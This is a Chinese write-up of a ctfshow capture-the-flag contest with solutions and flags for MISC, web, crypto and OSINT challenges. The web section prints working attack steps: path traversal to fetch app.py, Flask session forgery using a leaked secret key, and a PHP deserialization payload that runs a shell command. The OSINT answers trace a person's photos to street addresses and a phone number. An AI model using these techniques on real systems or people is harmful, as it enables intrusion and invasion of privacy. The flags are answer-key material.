***经过了48小时的奋战,在这次比赛中成功拿下4400分,同时也发现了自己的许多不足;***
MISC
杂项签到
下载附件后进行解压,发现是一张图片,通过二进制查看工具(WinHex/010 Editor)打开该图片,Ctrl+F搜索文本"ctfshow",即可发现:
***ctfshow{a62b0b55682d81f7f652b26147c49040}***
损坏的压缩包
通过Linux 使用file命令查看文件格式,得知该文件为PNG文件,修改文件后缀即可正常打开图片;
***ctfshow{e19efe2eb86f10ccd7ca362110903c05}***
谜之栅栏
下载附件后进行解压获得文件如下:
将文件使用Linux中的diff命令进行对比发现的确不同,然后使用HexCmp.exe工具将两张图片进行比较;
然后将两张图片中的flag按个拼接即可得到flag
***ctfshow{f0a6a0b721cfb949a7fb55ab5d8d210a}***
你会数数吗
下载附件后,使用010editor的 工具→直方图→无符号字节→进行降序排序;
***ctfshow{a1b2d3e4g56i7j8k9l0}***
你会异或吗
使用010 Editer打开然后进行异或即可
然后保存,即可正常打开图片;
***ctfshow{030dOf5073ab4681d30866d1fdf10ab1}***
我是谁??
打开链接发现是看图识美女,要通过30关;但是手里没有好用的图片识别工具,自己也不太懂这方面,便肉眼通过了30关,还浅浅拿了一血😂
黑丝白丝还有什么丝?
访问链接发现是探姬的福利视频(bushi),然后根据提示的摩斯密码不难猜测到黑丝为1,白色为0,然后分割标志为视频的转场动画,
***ctfshow{W4NTT0B3MORECUTE} ***
我吐了你随意
下载附件打开发现是文本,发现提示为O宽隐写->即为零宽隐写
参考文档:零宽度字符隐写 | Lazzaro
使用在线解密:
Unicode Steganography with Zero-Width Characters
***ctfshow{OP_is_for_Over_Power}***
这是个什么文件?
下载附件后,发现是一个压缩包,里面存在文件;
但是压缩包存在密码,先使用伪加密脚本跑一下,看看是不是伪加密;
这里发现成功破除伪加密(也可以手动修改破伪加密),然后通过文件头判断压缩包中的文件类型为.pyc,并修改文件后缀名为.pyc(否则在线工具无法正常反编译;)
再使用在线工具进行pyc反编译:
python反编译 - 在线工具
得到Python代码,然后运行即可获得flag
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.7
flag = bytes([
99,
116,
102,
115,
104,
111,
119,
123,
99,
100,
106,
110,
106,
100,
95,
53,
54,
53,
102,
95,
71,
67,
68,
72,
95,
107,
99,
114,
105,
109,
125]).decode()
print(flag)
***ctfshow{cdjnjd_565f_GCDH_kcrim}***
我可没有骗你
下载附件发现是存在密码的压缩包,使用ARCHPR进行爆破得到密码55813329;然后得到了压缩包中的音频文件,然后发现文件后缀为.wav而不是原本的.mp3,猜测需要使用Silent eye工具 Sound qualit选择high,然后就得到flag啦
***ctfshow{aha_cdsc_jejcfe5rj_cjfr24J}***
你被骗了
下载附件发现副标题存在flag,但是不对,便考虑使用MP3Stego进行解密便得到flag;
***ctfshow{chdv_1dcs_cjksnjn_NJDSjdcdjn}***
一闪一闪亮晶晶
下载附件,压缩包->两个文件,一个是未加密的汉信码
解码网站:
***https://tuzim.net/hxdecode/***
另外一个是需要密码音频文件,密码即为汉信码解码后的内容;
然后听音频发现是无线电音频,直接上RX-SSTV
打不开的图片
下载附件,使用010 Editer打开然后十六进制取反即可
WEB
📎Web_wp.docx
web2 c0me_t0_s1gn
查看网页源代码得到一半flag
然后查看控制台,根据提示调用函数获得另一半flag
我的眼里只有$
抽老婆
查看网站源码发现存在文件下载的API
然后随便构造URL下载一个文件,根据报错提示判断出网站为Python的Flask框架搭建
然后利用该API下载网站源码:试试URL/download?file=../../app.py
# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File : app.py
# Time :2022/11/07 09:16
# Author :g4_simon
# version :python 3.9.7
# Description:抽老婆,哇偶~
"""
from flask import *
import os
import random
from flag import flag
#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/getwifi', methods=['GET'])
def getwifi():
session['isadmin']=False
wifi=random.choice(os.listdir('static/img'))
session['current_wifi']=wifi
return render_template('getwifi.html',wifi=wifi)
@app.route('/download', methods=['GET'])
def source():
filename=request.args.get('file')
if 'flag' in filename:
return jsonify({"msg":"你想干什么?"})
else:
return send_file('static/img/'+filename,as_attachment=True)
@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
if session['isadmin']:
return jsonify({"msg":flag})
else:
return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=True)
然后发现存在密钥
***app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'***
和
***/secret_path_U_never_know***
路径;我们先对路径进行访问,被告知进行了身份验证,因此我们尝试进行Session伪造;
通过搜索发现存在flask-session-cookie-manager-master工具可以实现flask框架的Session伪造;
并且我们需要对我们当前的Session进行解密,脚本如下:
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption("eyJjdXJyZW50X3dpZmkiOiIzMjBlN2Q1N2E0YTlmZGUwNzk1YmQ2MjIyNjQ5OWY2YS5qcGciLCJpc2FkbWluIjpmYWxzZX0.Y2_BBw.Ucr4DWF6-6-IjmlyadXqJYIK4O0".encode()))
解密后得到:
{'current_wifi': '320e7d57a4a9fde0795bd62226499f6a.jpg', 'isadmin': False}
然后利用flask-session-cookie-manager-master工具获取伪造后的Session
python3 flask_session_cookie_manager3.py encode -s tanji_is_A_boy_Yooooooooooooooooooooo! -t "{'current_wifi': '320e7d57a4a9fde0795bd62226499f6a.jpg', 'isadmin': True}"
最后使用Bp修改Session发包即可;
TapTapTap
查看满足要求后的JS代码,然后进行Base64解码得到
Your flag is in /secret_path_you_do_not_know/secretfile.txt
访问该地址得到flag。
Webshell
http://e7335cf5-fb21-4a9c-aff6-f2485e27e841.challenge.ctf.show/?cmd=O:8:"Webshell":1:{s:3:"cmd";s:13:"cat * > 1.txt";}
化零为整
http://01aec60f-a0a8-473e-8bd4-116d2ba010d0.challenge.ctf.show/?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
无一幸免
原题:
<?php
include "flag.php";
highlight_file(__FILE__);
if (isset($_GET['0'])){
$arr[$_GET['0']]=1;
if ($arr[]=1){
die($flag);
}
else{
die("nonono!");
}
}
我们不难发现,只要给‘0’任意传参即可输出Flag,因为这道题可能出错了
下面给出修改后的题目:
<?php
include "flag.php";
highlight_file(__FILE__);
if (isset($_GET['0'])){
$arr[$_GET['0']]=1;
if ($arr[]=1){
die("nonono!");
}
else{
die($flag);
}
}
代码中的重点在$arr[]=1意思是在数组中追加一个数并且赋值为1
此时我们发现,如果要得到Flag,关键点在于要绕过if ($arr[]=1),即为:$arr[]=1赋值失败
索引数组最大下标等于最大int数,对其追加会导致整型数溢出,进而引起追加失败
Int范围查阅Manual可知:32位最大是2147483647,64位是9223372036854775807
也就是说我们上面传入?0=9223372036854775807以后,再执行$arr[]=1就会失败
传说之下(雾)
游戏题,需要我们分数到2077才可以,先把网站移植到本地,然后
在js代码中找到和分数相关的变量,进行修改:
修改为
***this.score += 2077***
然后吃一个果实,即可满足游戏要求;
然后查看控制台得到Flag;
CRYPTO
密码签到
63746673686f777b77656c636f6d655f325f636169676f755f6375707d
16进制转换,16进制转换文本字符串,在线16进制转换 | 在线工具
***ctfshow{welcome_2_caigou_cup}***
Caesar
Zhofrph wr FWIvkrz yhjhwdeoh grj fxs!
凯撒(Caesar)加密/解密 - Bugku CTF
***ctfshow{Welcome to CTFshow vegetable dog cup!}***
0x36d
Txtmoji | Encrypt Text to Emojis
类型-7
094F5A0F0A0D1805103B0B3D143117183B720438350A45550967674D1E064F2969784440455A460F1A1B
Type7算法解密计算工具-Bejson.com
***ctfshow{Wow_u_Kn0w_Ci$c0_Type7_P@ssword!}***
g4的密码小课堂
***b'ctfshow{you_Know__doub1e_g2_1s_g4_s1m0n}'***
@bash
OLEVNFNFAR
CTF在线工具-在线埃特巴什码加密|在线埃特巴什码解密|埃特巴什码算法|Atbash Cipher
***ctfshow{LOVEMUMUZI}***
OSINT
Fish And Turtles
根据B-6448和8月27日查得数据如下:
然后一大早出发,然后中转得知:
***ctfshow{成都-厦门-3U6953}***
碧海蓝天
百度识图+题目前后联想 =
***ctfshow{厦门市_鼓浪屿}***
我滴家乡
百度识图+题目前后联想 = 福建省 + 东山岛 + 景点 =
*** ctfshow{铜陵武庙朝圣楼}***
横空出世
百度识图 + 问足球队 = 曼联 + 中日德兰 =
*** ctfshow{2016年2月25日_老特拉福德球场}***
J某的行踪1
图片中玻璃的字母 + 度假 + 温泉 =TRANSCENDENCE(文化主题酒店) + 度假 + 温泉 =
***ctfshow{青城山心越温泉度假酒店}***
J某的行踪2
百度识图 + 茉莉 + 月光白 + 茶 = 福州的三坊七巷 + 茶室(茶馆)=
***ctfshow{福建省福州市鼓楼区八一七中路84号东百中心10楼ITEAMO}***
J某的行踪3
百度识图 + 谷歌识图 =
*** ctfshow{波兰_华沙_布里斯托酒店}***
J某的行踪4
百度识图 + 图片相关链接 =
*** ctfshow{波兰_华沙_老城区入口}***
J某的行踪5
发现是国外直接使用谷歌识图 ->
***ctfshow{日本_东京_传法院通}***
J某的行踪6
百度识图 + 谷歌识图 = 店名 -> 店铺首页 ->
***ctfshow{日本_神户_Kobe Plaisir}***
J某的行踪7
问在日本的日语老师 ->
***ctfshow{日本_爱知县_名古屋市_荣站}***
J某的行踪8
问在日本的日语老师 ->【クックドア】グルメ・飲食店検索サイト ->
*** ctfshow{日本_茨城县_水户市_泉町_3丁目3-5}***
J某的行踪9
入云屋 + 美团 =
***ctfshow{成都市_成华区_望平街23号_入云屋_妃子}***
零碎的记忆1
百度识图 -> 跳转小红书 =
*** ctfshow{长沙市_IFS国金中心}***
零碎的记忆2
百度识图 -> 大众点评->查看详细地址 =
*** ctfshow{湖南省长沙市开福区中山路589号_19118906693}***
J某的过往1
半次元+ 天竹子 ->相关帖子 ->评论 =
***ctfshow{广西壮族自治区_南宁市_广西大学}***
J某的过往2
**百度识图-> 上海 + 题目信息->江 = **
***ctfshow{上海_黄浦江}***
版权归原作者 SlackMoon 所有, 如有侵权,请联系我们删除。